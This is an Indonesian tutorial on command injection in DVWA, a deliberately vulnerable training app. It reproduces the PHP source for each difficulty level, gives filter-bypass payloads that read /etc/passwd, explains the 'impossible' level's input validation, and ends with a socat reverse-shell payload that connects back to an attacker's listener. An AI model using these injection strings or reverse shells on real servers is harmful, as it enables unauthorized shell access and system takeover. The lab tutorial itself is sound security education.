DVWA Series: Command Injection

⏱️7 min read

Intro

DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.

Disclaimer

Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.

Apa itu Command Injection ?

Command Injection adalah serangan yang mana tujuannya adalah mengeksekusi perintah secara sewenang-wenang pada sistem operasi melalui aplikasi yang rentan. Serangan command injection bisa terjadi ketika sebuah aplikasi (forms, cookies, HTTP headers, dll) bisa menjalankan perintah yang tidak aman dari inputan user ke sistem shell.

Biasanya, hak akses yang dimiliki oleh peretas akan sama dengan aplikasi yang rentan tersebut. Misalnya, di DVWA ini terdapat kerentanan command injection dan aplikasi ini berjalan dengan user www-data pada sistem operasi linux, sehingga peretas akan menjalankan perintah pada komputer target sebagai user www-data tersebut.

Untuk lebih jelasnya bisa lihat video berikut:

Apa itu Shell?

Maksud kata “command” di sini apa? apakah perintah pada bahasa pemrograman? Jawabannya adalah perintah dari shell yang digunakan oleh user di komputer tersebut. Umumnya, Unix dan Linux menggunakan Bash sebagai shell default-nya. Sedangkan di Windows terdapat Command Prompt dan PowerShell.

Pengetahuan Dasar yang Wajib Dimiliki

Pengetahuan dasarnya adalah memahami perintah perintah pada Linux atau Powershell.

Pada bagian akhir akan dibahas bagaimana cara meminimalisir serangan bruteforce pada web kita.

Command Injection level Low

Berikut adalah source-code dari command injection level low di DVWA.

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

Information Gathering

shell_exec() adalah fungsi bawaan PHP yang berfungsi untuk menjalankan perintah melalui shell dan mengembalikan output yang lengkap sebagai string. Dapat dilihat bahwa aplikasi ini akan menjalankan ping ke sebuah target. contoh penggunaan ping sebagai berikut:

1

Jika diperhatikan dalam source codenya tidak ada validasi sama sekali pada inputan. Maka kita bisa menambahkan beberapa karakter seperti ; , | , atau &&

Attack

Setelah mengetahui bahwa tidak ada validasi input, kita bisa memanfaatkan && untuk menjalankan perintah lainnya. Seperti contohnya mastoto.my.id && cat /etc/passwd . Nanti outpunya berupa hasil ping diikuti dengan list dari user,group dll yang ada dalam sistem. Maka outptnya menjadi 2

Kerentanan ini sangat berbahaya karena dengan kerentanan ini penyerang dapat melakukan perintah yang bisa saja membahayakan sistem seperti membuat backdoor, dll.

Tidak sampai disini saja. Penyerangan ini bisa membuat backdoor dan berlanjut hingga Post Exploitation, dan penyerang mempertahankan koneksi agar serangan tersebut persistent menggunakan metode Reverse Shell ataupun Bind Shell.

Command Injection level Medium

Berikut adalah source-code dari command injection level medium di DVWA.

 <?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Information Gathering

Terlihat bahwa pada code tersebut terdapat blacklist untuk string && dan ; pada inputan. Tetapi terdapat alternatf lain untuk menjalankan 2 perintah atau lebih yaitu dengan menambahkan karakter |.

Attack

Maka cukup kita ganti saja yang awalnya menggunakan && dengan | menjadi mastoto.my.id | cat /etc/passwd.

Jika mengguankan | maka hasil dari ping tidak akan muncul

lebih jelas bisa baca di https://www.educba.com/linux-pipe-command/

3

Command Injection level High

Berikut adalah source-code dari command injection level high di DVWA.

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Information Gathering

Pada level ini, blacklist yang diberikan menjadi semakin banyak. Tetapi jika kita teliti, di baris ke-11 terdapat celah . '| ' => '' terdapat spasi setelah | . Ini bisa kita manfaatkan dengan cara menjalankan perintah langsung tanpa spasi setelah |.

Attack

Maka cukup kita gunakan pipe namun tidak perlu kita beri spasi setelah | menjadi mastoto.my.id |cat /etc/passwd.

4

Gimana Cara Mencegah Command Injection?

Di dalam DVWA juga menyediakan level Imposible dimana pada saat level di setting menjadi imposible maka serangan mustahil untuk berhasil. Berikut source-codenya:


 <?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Pada level imposible ini, Input dari user hanya bisa menggunakan angka (tipe data numeric) saja. Sehingga ketika kita memasukkan karakter lain maka akan muncul pesan error. Kedua pada kode di atas menggunakan CSRF token, yang pada Artikel sebelumnya sudah saya jelaskan.

Sejauh ini cara paling efektif untuk mencegah kerentanan Command Injection OS adalah dengan tidak pernah memanggil perintah OS dari kode. Di hampir setiap kasus, ada cara alternatif untuk mengimplementasikan fungsionalitas yang diperlukan menggunakan API platform yang lebih aman. Jika dianggap tidak dapat dihindari untuk memanggil perintah OS dengan input yang disediakan pengguna, maka validasi input yang kuat harus dilakukan. Beberapa contoh validasi yang efektif meliputi:

  • Memvalidasi terhadap whitelist nilai yang diizinkan.
  • Memvalidasi bahwa input adalah angka.
  • Memvalidasi bahwa input hanya berisi karakter alphanumerik, tidak ada sintaks atau whitespace lainnya.

Jangan pernah mencoba mensanitasi input dengan cara escaping shell metacharacters. Dalam praktiknya, ini terlalu rawan kesalahan dan rentan untuk dilewati oleh penyerang yang terampil.

Bonus : Reverse Shell

Seperti yang sudah di jelaskan sebelumnya, kerentanan command injection sangat berbahaya dan penyerang bisa mengambil alih server. Untuk mengambil alih server pertama tama yang harus dilakukan adalah mempertahankan koneksi dan melalukan Privillege Escalation(akan dibahas dikemudian hari). Pada kali ini saya akan membahas Reverse Shell dengan memanfaatkan kerentanan Command injection.

Information Gathering

Biasanya ketika melakukan reverse shell, saya menggunakan netcat, namun ketika coba saya cari dalam server dvwa tidak ada netcat. Bisa diketahui dengan menajankan perintah mastoto.my.id |nc -h dan tidak ada output yang muncul. Untuk memastikan, saya menjalankan perintah untuk melihat daftar apt yang ada dengan perintah mastoto.my.id |apt list dan ternata benar netcat tidak terinstal. Saya coba mencari metode lain dan akhirnya menemukan sumber bahwa kita bisa melakukan Reverse Shell menggunakan socat pada link https://erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/

Pertama pada komputer milik penyerang jalankan perintah:

socat -d -d TCP4-LISTEN:4444 STDOUT

Sehingga muncul: 8 Penjelasan :

Dalam dokumentasinya -d -d digunakan untuk increase verbosity (use up to 4 times; 2 are recommended) 5

TCP4-LISTEN:<port> merupakan address-head yang digunakan untuk menerima koneksi 7

STDOUT 6 Untuk lebih jelasnya bisa melihat dokumentasi socat. Bisa dilihat menggunakan perintah man socat

Kemudian pada form input kita masukkan perintah:

socat TCP4:<IP>:<port> EXEC:/bin/bash

menjadi

mastoto.my.id |socat TCP4:192.168.1.7:4444 EXEC:/bin/bash

Jika mesin korban menggunakan windows maka menggunakan perintah:

socat TCP4:192.168.168.1:4443 EXEC:'cmd.exe',pipes

Sehingga web akan loading terus dan tampilan pada terminal attacker akan berubah menjadi: 9

Kita coba jalankan perintah whoami, cat /etc/passwd, dan coba kita pindah ke direktori /tmp. Dapat dilihat bahwa command tersebut dapat tereksekusi. 10